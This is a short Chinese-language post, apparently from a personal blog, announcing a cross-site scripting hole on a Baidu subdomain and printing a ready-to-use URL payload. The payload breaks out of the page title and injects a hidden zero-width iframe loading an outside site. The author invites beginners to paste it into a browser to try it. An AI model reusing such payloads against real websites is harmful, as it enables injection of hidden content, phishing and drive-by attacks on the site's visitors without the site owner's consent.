在闲暇时间喜欢阅读一些黑客攻防的知识，今天无意发现了一个百度的Bug，是一个百度跨站漏洞，放出来，让高手挖掘下吧，是一个百度旗下的子站“百度推广”站，新人们可以拿来玩转一下，也许会增加对于攻防知识的学习兴趣。
代码如下：
http://support.baidu.com/?module=admin&controller=error&message=www.bestchao.com by 百度跨站漏洞演示 - BestChao</title><iframe%20src=http://www.bestchao.com/%20width=0></iframe>&castk=LTE%3D
将以上代码输入浏览器地址栏即可看到效果。
